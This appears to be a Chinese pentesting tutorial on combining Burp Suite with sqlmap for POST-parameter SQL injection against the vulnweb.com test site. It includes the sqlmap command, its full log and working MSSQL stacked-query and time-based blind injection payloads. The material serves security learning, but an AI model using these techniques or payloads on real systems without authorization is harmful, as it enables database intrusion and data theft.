我们在使用Sqlmap进行post型注入时，经常会出现请求遗漏导致注入失败的情况。

这里分享一个小技巧，即结合burpsuite来使用sqlmap，用这种方法进行post注入测试会更准确，操作起来也非常容易。

1. 浏览器打开目标地址http://testasp.vulnweb.com/Login.asp

2. 配置burp代理(127.0.0.1:8080)以拦截请求

3. 点击login表单的submit按钮

4. 如下图，这时候Burp会拦截到了我们的登录POST请求

5. 把这个post请求复制为txt, 我这命名为search-test.txt 然后把它放至sqlmap目录下

6. 运行sqlmap并使用如下命令：./sqlmap.py -r search-test.txt -p tfUPass，这里参数 -r 是让sqlmap加载我们的post请求rsearch-test.txt，而-p 大家应该比较熟悉，指定注入用的参数。

./sqlmap.py-r search-test.txt-p tfUPass

sqlmap/0.9-automatic SQL injectionanddatabase takeover tool

http://sqlmap.sourceforge.net[*]starting at:13:26:52[13:26:52][INFO]parsing HTTP requestfrom'search-test.txt'[13:26:52][WARNING]the testable parameter'tfUPass'you providedisnotintothe GET[13:26:52][WARNING]the testable parameter'tfUPass'you providedisnotintotheCookie[13:26:52][INFO]using'/home/testuser/sqlmap/output/testasp.vulnweb.com/session'assession file[13:26:52][INFO]resuming injection datafromsession file[13:26:52][WARNING]thereisan injectioninPOST parameter'tfUName'but you didnotprovided itthistime[13:26:52][INFO]testing connection to the target url[13:26:53][INFO]testingifthe urlisstable,wait a few seconds[13:26:55][INFO]urlisstable[13:26:55][WARNING]heuristic test shows that POST parameter'tfUPass'mightnotbe injectable[13:26:55][INFO]testing sql injection on POST parameter'tfUPass'[13:26:55][INFO]testing'AND boolean-based blind - WHERE or HAVING clause'[13:27:02][INFO]testing'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'[13:27:05][INFO]testing'PostgreSQL AND error-based - WHERE or HAVING clause'[13:27:07][INFO]testing'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'[13:27:10][INFO]testing'Oracle AND error-based - WHERE or HAVING clause (XMLType)'[13:27:12][INFO]testing'MySQL > 5.0.11 stacked queries'[13:27:14][INFO]testing'PostgreSQL > 8.1 stacked queries'[13:27:17][INFO]testing'Microsoft SQL Server/Sybase stacked queries'[13:27:30][INFO]POST parameter'tfUPass'is'Microsoft SQL Server/Sybase stacked queries'injectable[13:27:30][INFO]testing'MySQL > 5.0.11 AND time-based blind'[13:27:31][INFO]testing'PostgreSQL > 8.1 AND time-based blind'[13:27:31][INFO]testing'Microsoft SQL Server/Sybase time-based blind'[13:27:42][INFO]POST parameter'tfUPass'is'Microsoft SQL Server/Sybase time-based blind'injectable[13:27:42][INFO]testing'MySQL UNION query (NULL) - 1 to 10 columns'[13:27:48][INFO]testing'Generic UNION query (NULL) - 1 to 10 columns'[13:27:48][WARNING]usingunescaped version of the test because of zero knowledge of the back-endDBMS

sqlmap got a302redirect to/Search.asp-Whattarget addressdoyou want tousefromnow on?http://testasp.vulnweb.com:80/Login.asp (default) or provide another target address based also on the redirection got from the application>[13:27:58][INFO]target url appears to be UNION injectablewith2columns

POST parameter'tfUPass'isvulnerable.Doyou want to keep testing the others?[y/N]N

sqlmap identified the following injection pointswitha total of68HTTP(s)requests:---Place:POSTParameter:tfUPassType:stacked queriesTitle:MicrosoftSQLServer/Sybasestacked queriesPayload:tfUName=test&tfUPass=test'; WAITFOR DELAY '0:0:5';-- AND 'mPfC'='mPfCType:AND/OR time-based blindTitle:MicrosoftSQLServer/Sybasetime-based blindPayload:tfUName=test&tfUPass=test' WAITFOR DELAY '0:0:5'-- AND 'wpkc'='wpkc---[13:28:08][INFO]testingMySQL[13:28:09][WARNING]the back-endDBMSisnotMySQL[13:28:09][INFO]testingOracle[13:28:10][WARNING]the back-endDBMSisnotOracle[13:28:10][INFO]testingPostgreSQL[13:28:10][WARNING]the back-endDBMSisnotPostgreSQL[13:28:10][INFO]testingMicrosoftSQLServer[13:28:16][INFO]confirmingMicrosoftSQLServer[13:28:28][INFO]the back-endDBMSisMicrosoftSQLServerweb server operating system:Windows2003web application technology:ASP.NET,MicrosoftIIS6.0back-endDBMS:MicrosoftSQLServer2005[13:28:28][WARNING]HTTP error codes detected during testing:500(InternalServerError)-42times[13:28:28][INFO]Fetcheddata logged to text files under'/home/testuser/sqlmap/output/testasp.vulnweb.com'[*]shutting down at:13:28:28